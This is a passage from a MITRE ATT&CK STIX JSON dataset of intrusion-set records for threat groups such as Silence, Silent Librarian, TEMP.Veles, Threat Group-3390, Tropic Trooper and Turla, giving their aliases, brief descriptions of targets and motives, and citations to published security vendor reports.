            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "external_id": "G0091",
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0091"
                },
                {
                    "source_name": "Silence",
                    "description": "(Citation: Cyber Forensicator Silence Jan 2019)(Citation: SecureList Silence Nov 2017) "
                },
                {
                    "source_name": "WHISPER SPIDER",
                    "description": "(Citation: Crowdstrike GTR2020 Mar 2020)"
                },
                {
                    "description": "Skulkin, O.. (2019, January 20). Silence: Dissecting Malicious CHM Files and Performing Forensic Analysis. Retrieved May 24, 2019.",
                    "url": "https://cyberforensicator.com/2019/01/20/silence-dissecting-malicious-chm-files-and-performing-forensic-analysis/",
                    "source_name": "Cyber Forensicator Silence Jan 2019"
                },
                {
                    "description": "GReAT. (2017, November 1). Silence \u2013 a new Trojan attacking financial organizations. Retrieved May 24, 2019.",
                    "url": "https://securelist.com/the-silence/83009/",
                    "source_name": "SecureList Silence Nov 2017"
                },
                {
                    "source_name": "Crowdstrike GTR2020 Mar 2020",
                    "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf",
                    "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020."
                }
            ],
            "description": "[Silence](https://attack.mitre.org/groups/G0091) is a financially motivated threat actor targeting financial institutions in different countries. The group was first seen in June 2016. Their main targets reside in Russia, Ukraine, Belarus, Azerbaijan, Poland and Kazakhstan. They compromised various banking systems, including the Russian Central Bank's Automated Workstation Client, ATMs, and card processing.(Citation: Cyber Forensicator Silence Jan 2019)(Citation: SecureList Silence Nov 2017) ",
            "name": "Silence",
            "type": "intrusion-set",
            "id": "intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321",
            "aliases": [
                "Silence",
                "WHISPER SPIDER"
            ],
            "modified": "2021-04-26T14:11:10.724Z",
            "created": "2019-05-24T17:57:36.491Z",
            "x_mitre_version": "2.0",
            "x_mitre_contributors": [
                "Oleg Skulkin, Group-IB"
            ]
        },
        {
            "created": "2021-02-03T16:36:38.145Z",
            "modified": "2021-04-21T12:02:00.278Z",
            "aliases": [
                "Silent Librarian",
                "TA407",
                "COBALT DICKENS"
            ],
            "id": "intrusion-set--90784c1e-4aba-40eb-9adf-7556235e6384",
            "type": "intrusion-set",
            "name": "Silent Librarian",
            "description": "[Silent Librarian](https://attack.mitre.org/groups/G0122) is a group that has targeted research and proprietary data at universities, government agencies, and private sector companies worldwide since at least 2013. Members of  [Silent Librarian](https://attack.mitre.org/groups/G0122) are known to have been affiliated with the Iran-based Mabna Institute which has conducted cyber intrusions at the behest of the government of Iran, specifically the Islamic Revolutionary Guard Corps (IRGC).(Citation: DOJ Iran Indictments March 2018)(Citation: Phish Labs Silent Librarian)(Citation: Malwarebytes Silent Librarian October 2020)",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0122"
                },
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                    "source_name": "TA407",
                    "description": "(Citation: Proofpoint TA407 September 2019)(Citation: Malwarebytes Silent Librarian October 2020)"
                },
                {
                    "source_name": "COBALT DICKENS",
                    "description": "(Citation: Secureworks COBALT DICKENS August 2018)(Citation: Secureworks COBALT DICKENS September 2019)(Citation: Proofpoint TA407 September 2019)(Citation: Malwarebytes Silent Librarian October 2020)"
                },
                {
                    "source_name": "DOJ Iran Indictments March 2018",
                    "url": "https://www.justice.gov/usao-sdny/press-release/file/1045781/download",
                    "description": "DOJ. (2018, March 23). U.S. v. Rafatnejad et al . Retrieved February 3, 2021."
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                    "url": "https://info.phishlabs.com/blog/silent-librarian-more-to-the-story-of-the-iranian-mabna-institute-indictment",
                    "description": "Hassold, Crane. (2018, March 26). Silent Librarian: More to the Story of the Iranian Mabna Institute Indictment. Retrieved February 3, 2021."
                },
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                    "source_name": "Malwarebytes Silent Librarian October 2020",
                    "url": "https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/",
                    "description": "Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021."
                },
                {
                    "source_name": "Proofpoint TA407 September 2019",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian",
                    "description": "Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021."
                },
                {
                    "source_name": "Secureworks COBALT DICKENS August 2018",
                    "url": "https://www.secureworks.com/blog/back-to-school-cobalt-dickens-targets-universities",
                    "description": "Counter Threat Unit Research Team. (2018, August 24). Back to School: COBALT DICKENS Targets Universities. Retrieved February 3, 2021."
                },
                {
                    "source_name": "Secureworks COBALT DICKENS September 2019",
                    "url": "https://www.secureworks.com/blog/cobalt-dickens-goes-back-to-school-again",
                    "description": "Counter Threat Unit Research Team. (2019, September 11). COBALT DICKENS Goes Back to School\u2026Again. Retrieved February 3, 2021."
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                    "source_name": "SilverTerrier",
                    "description": "(Citation: Unit42 SilverTerrier 2018)(Citation: Unit42 SilverTerrier 2016)"
                },
                {
                    "description": "Unit42. (2016). SILVERTERRIER: THE RISE OF NIGERIAN BUSINESS EMAIL COMPROMISE. Retrieved November 13, 2018.",
                    "url": "https://www.paloaltonetworks.com/apps/pan/public/downloadResource?pagePath=/content/pan/en_US/resources/whitepapers/unit42-silverterrier-rise-of-nigerian-business-email-compromise",
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                    "description": "Renals, P., Conant, S. (2016). SILVERTERRIER: The Next Evolution in Nigerian Cybercrime. Retrieved November 13, 2018.",
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                    "source_name": "Sowbug",
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            "description": "[Stealth Falcon](https://attack.mitre.org/groups/G0038) is a threat group that has conducted targeted spyware attacks against Emirati journalists, activists, and dissidents since at least 2012. Circumstantial evidence suggests there could be a link between this group and the United Arab Emirates (UAE) government, but that has not been confirmed. (Citation: Citizen Lab Stealth Falcon May 2016)",
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                    "source_name": "Stealth Falcon",
                    "description": "(Citation: Citizen Lab Stealth Falcon May 2016)"
                },
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                    "source_name": "Citizen Lab Stealth Falcon May 2016",
                    "description": "Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don\u2019t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.",
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                    "url": "https://attack.mitre.org/groups/G0086"
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                {
                    "source_name": "Stolen Pencil",
                    "description": "(Citation: Netscout Stolen Pencil Dec 2018)"
                },
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                    "source_name": "Netscout Stolen Pencil Dec 2018",
                    "url": "https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/",
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            ],
            "description": "[Stolen Pencil](https://attack.mitre.org/groups/G0086) is a threat group likely originating from DPRK that has been active since at least May 2018. The group appears to have targeted academic institutions, but its motives remain unclear.(Citation: Netscout Stolen Pencil Dec 2018)",
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            "description": "[Strider](https://attack.mitre.org/groups/G0041) is a threat group that has been active since at least 2011 and has targeted victims in Russia, China, Sweden, Belgium, Iran, and Rwanda.(Citation: Symantec Strider Blog)(Citation: Kaspersky ProjectSauron Blog)",
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                    "external_id": "G0041"
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                    "source_name": "Strider",
                    "description": "(Citation: Symantec Strider Blog) (Citation: Kaspersky ProjectSauron Blog)"
                },
                {
                    "source_name": "ProjectSauron",
                    "description": "ProjectSauron is used to refer both to the threat group also known as G0041 as well as the malware platform also known as S0125. (Citation: Kaspersky ProjectSauron Blog) (Citation: Kaspersky ProjectSauron Full Report)"
                },
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                    "source_name": "Symantec Strider Blog",
                    "description": "Symantec Security Response. (2016, August 7). Strider: Cyberespionage group turns eye of Sauron on targets. Retrieved August 17, 2016.",
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                    "source_name": "Kaspersky ProjectSauron Blog",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 8). ProjectSauron: top level cyber-espionage platform covertly extracts encrypted government comms. Retrieved August 17, 2016.",
                    "url": "https://securelist.com/faq-the-projectsauron-apt/75533/"
                },
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                    "source_name": "Kaspersky ProjectSauron Full Report",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.",
                    "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf"
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            "description": "[Suckfly](https://attack.mitre.org/groups/G0039) is a China-based threat group that has been active since at least 2014. (Citation: Symantec Suckfly March 2016)",
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                    "url": "https://attack.mitre.org/groups/G0039",
                    "external_id": "G0039"
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                {
                    "source_name": "Suckfly",
                    "description": "(Citation: Symantec Suckfly March 2016) (Citation: Symantec Suckfly May 2016)"
                },
                {
                    "url": "http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates",
                    "description": "DiMaggio, J.. (2016, March 15). Suckfly: Revealing the secret life of your code signing certificates. Retrieved August 3, 2016.",
                    "source_name": "Symantec Suckfly March 2016"
                },
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                    "url": "http://www.symantec.com/connect/blogs/indian-organizations-targeted-suckfly-attacks",
                    "description": "DiMaggio, J.. (2016, May 17). Indian organizations targeted in Suckfly attacks. Retrieved August 3, 2016.",
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            "modified": "2020-03-30T19:21:39.854Z",
            "created": "2017-05-31T21:32:06.777Z",
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            "description": "[TA459](https://attack.mitre.org/groups/G0062) is a threat group believed to operate out of China that has targeted countries including Russia, Belarus, Mongolia, and others. (Citation: Proofpoint TA459 April 2017)",
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                    "url": "https://attack.mitre.org/groups/G0062",
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                    "source_name": "TA459",
                    "description": "(Citation: Proofpoint TA459 April 2017)"
                },
                {
                    "url": "https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts",
                    "description": "Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.",
                    "source_name": "Proofpoint TA459 April 2017"
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            "created": "2018-04-18T17:59:24.739Z",
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            "description": "[TA505](https://attack.mitre.org/groups/G0092) is a financially motivated threat group that has been active since at least 2014. The group is known for frequently changing malware and driving global trends in criminal malware distribution.(Citation: Proofpoint TA505 Sep 2017)(Citation: Proofpoint TA505 June 2018)(Citation: Proofpoint TA505 Jan 2019)",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0092"
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                {
                    "source_name": "Hive0065",
                    "description": "(Citation: IBM TA505 April 2020)"
                },
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                    "description": "Proofpoint Staff. (2017, September 27). Threat Actor Profile: TA505, From Dridex to GlobeImposter. Retrieved May 28, 2019.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter",
                    "source_name": "Proofpoint TA505 Sep 2017"
                },
                {
                    "description": "Proofpoint Staff. (2018, June 8). TA505 shifts with the times. Retrieved May 28, 2019.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-shifts-times",
                    "source_name": "Proofpoint TA505 June 2018"
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                {
                    "source_name": "Proofpoint TA505 Jan 2019",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505",
                    "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019."
                },
                {
                    "source_name": "IBM TA505 April 2020",
                    "url": "https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/",
                    "description": "Frydrych, M. (2020, April 14). TA505 Continues to Infect Networks With SDBbot RAT. Retrieved May 29, 2020."
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                    "url": "https://attack.mitre.org/groups/G0127"
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                {
                    "source_name": "GOLD CABIN",
                    "description": "(Citation: Secureworks GOLD CABIN)"
                },
                {
                    "source_name": "Shathak",
                    "description": "(Citation: Unit 42 Valak July 2020)(Citation: Unit 42 TA551 Jan 2021)"
                },
                {
                    "source_name": "Secureworks GOLD CABIN",
                    "url": "https://www.secureworks.com/research/threat-profiles/gold-cabin",
                    "description": "Secureworks. (n.d.). GOLD CABIN Threat Profile. Retrieved March 17, 2021."
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                    "url": "https://unit42.paloaltonetworks.com/ta551-shathak-icedid/",
                    "description": "Duncan, B. (2021, January 7). TA551: Email Attack Campaign Switches from Valak to IcedID. Retrieved March 17, 2021."
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                    "source_name": "Unit 42 Valak July 2020",
                    "url": "https://unit42.paloaltonetworks.com/valak-evolution/",
                    "description": "Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020."
                }
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                {
                    "source_name": "TEMP.Veles",
                    "description": "(Citation: FireEye TRITON 2019)"
                },
                {
                    "source_name": "XENOTIME",
                    "description": "The activity group XENOTIME, as defined by Dragos, has overlaps with activity reported upon by FireEye about TEMP.Veles as well as the actors behind TRITON.(Citation: Dragos Xenotime 2018)(Citation: Pylos Xenotime 2019)(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018 )"
                },
                {
                    "description": "Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html",
                    "source_name": "FireEye TRITON 2019"
                },
                {
                    "description": "FireEye Intelligence . (2018, October 23). TRITON Attribution: Russian Government-Owned Lab Most Likely Built Custom Intrusion Tools for TRITON Attackers. Retrieved April 16, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html ",
                    "source_name": "FireEye TEMP.Veles 2018"
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                    "source_name": "FireEye TEMP.Veles JSON April 2019",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/blog/files/TRITON_Appendix_C.html",
                    "description": "Miller, S., et al. (2019, April 10). TRITON Appendix C. Retrieved April 29, 2019."
                },
                {
                    "description": "Dragos, Inc.. (n.d.). Xenotime. Retrieved April 16, 2019.",
                    "url": "https://dragos.com/resource/xenotime/",
                    "source_name": "Dragos Xenotime 2018"
                },
                {
                    "description": "Slowik, J.. (2019, April 12). A XENOTIME to Remember: Veles in the Wild. Retrieved April 16, 2019.",
                    "url": "https://pylos.co/2019/04/12/a-xenotime-to-remember-veles-in-the-wild/",
                    "source_name": "Pylos Xenotime 2019"
                },
                {
                    "source_name": "FireEye TEMP.Veles 2018 ",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html ",
                    "description": "FireEye Intelligence . (2018, October 23). TRITON Attribution: Russian Government-Owned Lab Most Likely Built Custom Intrusion Tools for TRITON Attackers. Retrieved April 16, 2019."
                }
            ],
            "name": "TEMP.Veles",
            "description": "[TEMP.Veles](https://attack.mitre.org/groups/G0088) is a Russia-based threat group that has targeted critical infrastructure. The group has been observed utilizing TRITON, a malware framework designed to manipulate industrial safety systems.(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018)(Citation: FireEye TEMP.Veles JSON April 2019)",
            "type": "intrusion-set",
            "id": "intrusion-set--9538b1a4-4120-4e2d-bf59-3b11fcab05a4",
            "aliases": [
                "TEMP.Veles",
                "XENOTIME"
            ],
            "modified": "2021-02-09T14:34:04.242Z",
            "created": "2019-04-16T15:14:38.533Z",
            "x_mitre_version": "1.2"
        },
        {
            "type": "intrusion-set",
            "id": "intrusion-set--59140a2e-d117-4206-9b2c-2a8662bd9d46",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Taidoor",
            "description": "[Taidoor](https://attack.mitre.org/groups/G0015) is a threat group that has operated since at least 2009 and has primarily targeted the Taiwanese government. (Citation: TrendMicro Taidoor)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0015",
                    "external_id": "G0015"
                },
                {
                    "source_name": "Taidoor",
                    "description": "(Citation: TrendMicro Taidoor)"
                },
                {
                    "source_name": "TrendMicro Taidoor",
                    "description": "Trend Micro. (2012). The Taidoor Campaign. Retrieved November 12, 2014.",
                    "url": "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf"
                }
            ],
            "aliases": [
                "Taidoor"
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:31:52.018Z"
        },
        {
            "id": "intrusion-set--6688d679-ccdb-4f12-abf6-c7545dd767a4",
            "type": "intrusion-set",
            "name": "The White Company",
            "description": "[The White Company](https://attack.mitre.org/groups/G0089) is a likely state-sponsored threat actor with advanced capabilities. From 2017 through 2018, the group led an espionage campaign called Operation Shaheen targeting government and military organizations in Pakistan.(Citation: Cylance Shaheen Nov 2018)",
            "external_references": [
                {
                    "external_id": "G0089",
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0089"
                },
                {
                    "description": "Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019.",
                    "url": "https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517",
                    "source_name": "Cylance Shaheen Nov 2018"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "aliases": [
                "The White Company"
            ],
            "modified": "2020-03-30T19:24:52.290Z",
            "created": "2019-05-02T00:08:18.314Z",
            "x_mitre_version": "1.1"
        },
        {
            "type": "intrusion-set",
            "id": "intrusion-set--d519164e-f5fa-4b8c-a1fb-cf0172ad0983",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Threat Group-1314",
            "description": "[Threat Group-1314](https://attack.mitre.org/groups/G0028) is an unattributed threat group that has used compromised credentials to log into a victim's remote access infrastructure. (Citation: Dell TG-1314)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0028",
                    "external_id": "G0028"
                },
                {
                    "source_name": "Threat Group-1314",
                    "description": "(Citation: Dell TG-1314)"
                },
                {
                    "source_name": "TG-1314",
                    "description": "(Citation: Dell TG-1314)"
                },
                {
                    "url": "http://www.secureworks.com/resources/blog/living-off-the-land/",
                    "description": "Dell SecureWorks Counter Threat Unit Special Operations Team. (2015, May 28). Living off the Land. Retrieved January 26, 2016.",
                    "source_name": "Dell TG-1314"
                }
            ],
            "aliases": [
                "Threat Group-1314",
                "TG-1314"
            ],
            "modified": "2020-03-19T21:58:20.831Z",
            "created": "2017-05-31T21:31:59.120Z",
            "x_mitre_version": "1.1"
        },
        {
            "type": "intrusion-set",
            "id": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Threat Group-3390",
            "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) is a Chinese threat group that has extensively used strategic Web compromises to target victims. (Citation: Dell TG-3390) The group has been active since at least 2010 and has targeted organizations in the aerospace, government, defense, technology, energy, and manufacturing sectors. (Citation: SecureWorks BRONZE UNION June 2017) (Citation: Securelist LuckyMouse June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0027",
                    "external_id": "G0027"
                },
                {
                    "source_name": "Threat Group-3390",
                    "description": "(Citation: Dell TG-3390) (Citation: Hacker News LuckyMouse June 2018)"
                },
                {
                    "source_name": "TG-3390",
                    "description": "(Citation: Dell TG-3390) (Citation: Nccgroup Emissary Panda May 2018) (Citation: Hacker News LuckyMouse June 2018)"
                },
                {
                    "source_name": "Emissary Panda",
                    "description": "(Citation: Gallagher 2015) (Citation: Nccgroup Emissary Panda May 2018) (Citation: Securelist LuckyMouse June 2018) (Citation: Hacker News LuckyMouse June 2018)(Citation: Unit42 Emissary Panda May 2019)"
                },
                {
                    "source_name": "BRONZE UNION",
                    "description": "(Citation: SecureWorks BRONZE UNION June 2017) (Citation: Nccgroup Emissary Panda May 2018)"
                },
                {
                    "source_name": "APT27",
                    "description": "(Citation: Nccgroup Emissary Panda May 2018) (Citation: Securelist LuckyMouse June 2018) (Citation: Hacker News LuckyMouse June 2018)"
                },
                {
                    "source_name": "Iron Tiger",
                    "description": "(Citation: Hacker News LuckyMouse June 2018)"
                },
                {
                    "source_name": "LuckyMouse",
                    "description": "(Citation: Securelist LuckyMouse June 2018) (Citation: Hacker News LuckyMouse June 2018)"
                },
                {
                    "source_name": "Dell TG-3390",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.",
                    "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"
                },
                {
                    "url": "https://www.secureworks.com/research/bronze-union",
                    "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.",
                    "source_name": "SecureWorks BRONZE UNION June 2017"
                },
                {
                    "source_name": "Securelist LuckyMouse June 2018",
                    "description": "Legezo, D. (2018, June 13). LuckyMouse hits national data center to organize country-level waterholing campaign. Retrieved August 18, 2018.",
                    "url": "https://securelist.com/luckymouse-hits-national-data-center/86083/"
                },
                {
                    "source_name": "Hacker News LuckyMouse June 2018",
                    "description": "Khandelwal, S. (2018, June 14). Chinese Hackers Carried Out Country-Level Watering Hole Attack. Retrieved August 18, 2018.",
                    "url": "https://thehackernews.com/2018/06/chinese-watering-hole-attack.html"
                },
                {
                    "url": "https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/",
                    "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.",
                    "source_name": "Nccgroup Emissary Panda May 2018"
                },
                {
                    "source_name": "Gallagher 2015",
                    "description": "Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking group hacked 100+ websites to use as \u201cwatering holes\u201d. Retrieved January 25, 2016.",
                    "url": "http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/"
                },
                {
                    "description": "Falcone, R. and Lancaster, T.. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/",
                    "source_name": "Unit42 Emissary Panda May 2019"
                }
            ],
            "aliases": [
                "Threat Group-3390",
                "TG-3390",
                "Emissary Panda",
                "BRONZE UNION",
                "APT27",
                "Iron Tiger",
                "LuckyMouse"
            ],
            "modified": "2021-04-20T19:17:12.538Z",
            "created": "2017-05-31T21:31:58.518Z",
            "x_mitre_version": "1.4"
        },
        {
            "type": "intrusion-set",
            "id": "intrusion-set--d69e568e-9ac8-4c08-b32c-d93b43ba9172",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Thrip",
            "description": "[Thrip](https://attack.mitre.org/groups/G0076) is an espionage group that has targeted satellite communications, telecoms, and defense contractor companies in the U.S. and Southeast Asia. The group uses custom malware as well as \"living off the land\" techniques. (Citation: Symantec Thrip June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0076",
                    "external_id": "G0076"
                },
                {
                    "source_name": "Thrip",
                    "description": "(Citation: Symantec Thrip June 2018)"
                },
                {
                    "url": "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets",
                    "description": "Security Response Attack Investigation Team. (2018, June 19). Thrip: Espionage Group Hits Satellite, Telecoms, and Defense Companies. Retrieved July 10, 2018.",
                    "source_name": "Symantec Thrip June 2018"
                }
            ],
            "aliases": [
                "Thrip"
            ],
            "modified": "2020-03-30T19:25:56.012Z",
            "created": "2018-10-17T00:14:20.652Z",
            "x_mitre_version": "1.1"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "external_id": "G0081",
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0081"
                },
                {
                    "source_name": "Tropic Trooper",
                    "description": "(Citation: TrendMicro Tropic Trooper Mar 2018)(Citation: Unit 42 Tropic Trooper Nov 2016)"
                },
                {
                    "source_name": "Pirate Panda",
                    "description": "(Citation: Crowdstrike Pirate Panda April 2020)"
                },
                {
                    "source_name": "KeyBoy",
                    "description": "(Citation: Unit 42 Tropic Trooper Nov 2016)(Citation: TrendMicro Tropic Trooper Mar 2018)"
                },
                {
                    "description": "Horejsi, J., et al. (2018, March 14). Tropic Trooper\u2019s New Strategy. Retrieved November 9, 2018.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/",
                    "source_name": "TrendMicro Tropic Trooper Mar 2018"
                },
                {
                    "description": "Ray, V. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved November 9, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/",
                    "source_name": "Unit 42 Tropic Trooper Nov 2016"
                },
                {
                    "source_name": "TrendMicro Tropic Trooper May 2020",
                    "url": "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf",
                    "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."
                },
                {
                    "source_name": "Crowdstrike Pirate Panda April 2020",
                    "url": "https://www.crowdstrike.com/blog/on-demand-webcast-crowdstrike-experts-on-covid-19-cybersecurity-challenges-and-recommendations/",
                    "description": "Busselen, M. (2020, April 7). On-demand Webcast: CrowdStrike Experts on COVID-19 Cybersecurity Challenges and Recommendations. Retrieved May 20, 2020."
                }
            ],
            "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) is an unaffiliated threat group that has led targeted campaigns against targets in Taiwan, the Philippines, and Hong Kong. [Tropic Trooper](https://attack.mitre.org/groups/G0081) focuses on targeting government, healthcare, transportation, and high-tech industries and has been active since 2011.(Citation: TrendMicro Tropic Trooper Mar 2018)(Citation: Unit 42 Tropic Trooper Nov 2016)(Citation: TrendMicro Tropic Trooper May 2020)",
            "name": "Tropic Trooper",
            "type": "intrusion-set",
            "id": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924",
            "aliases": [
                "Tropic Trooper",
                "Pirate Panda",
                "KeyBoy"
            ],
            "modified": "2021-04-26T14:15:15.610Z",
            "created": "2019-01-29T20:17:48.717Z",
            "x_mitre_contributors": [
                "Edward Millington",
                "Bart Parys"
            ],
            "x_mitre_version": "1.4"
        },
        {
            "created": "2017-05-31T21:31:49.816Z",
            "modified": "2021-04-26T23:50:51.333Z",
            "aliases": [
                "Turla",
                "Group 88",
                "Belugasturgeon",
                "Waterbug",
                "WhiteBear",
                "VENOMOUS BEAR",
                "Snake",
                "Krypton"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0010",
                    "external_id": "G0010"
                },
                {
                    "source_name": "Turla",
                    "description": "(Citation: Kaspersky Turla)"
                },
                {
                    "source_name": "Group 88",
                    "description": "(Citation: Leonardo Turla Penquin May 2020)"
                },
                {
                    "source_name": "Belugasturgeon",
                    "description": "(Citation: Accenture HyperStack October 2020)"
                },
                {
                    "source_name": "Waterbug",
                    "description": "Based similarity in TTPs and malware used, Turla and Waterbug appear to be the same group.(Citation: Symantec Waterbug)"
                },
                {
                    "source_name": "WhiteBear",
                    "description": "WhiteBear is a designation used by Securelist to describe a cluster of activity that has overlaps with activity described by others as Turla, but appears to have a separate focus.(Citation: Securelist WhiteBear Aug 2017)"
                },
                {
                    "source_name": "VENOMOUS BEAR",
                    "description": "(Citation: CrowdStrike VENOMOUS BEAR)"
                },
                {
                    "source_name": "Snake",
                    "description": "(Citation: CrowdStrike VENOMOUS BEAR)(Citation: ESET Turla PowerShell May 2019)"
                },
                {
                    "source_name": "Krypton",
                    "description": "(Citation: CrowdStrike VENOMOUS BEAR)"
                },
                {
                    "url": "https://securelist.com/the-epic-turla-operation/65545/",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
                    "source_name": "Kaspersky Turla"
                },
                {
                    "source_name": "ESET Gazer Aug 2017",
                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
                },
                {
                    "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-march-venomous-bear/",
                    "description": "Meyers, A. (2018, March 12). Meet CrowdStrike\u2019s Adversary of the Month for March: VENOMOUS BEAR. Retrieved May 16, 2018.",
                    "source_name": "CrowdStrike VENOMOUS BEAR"
                },
                {
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf",
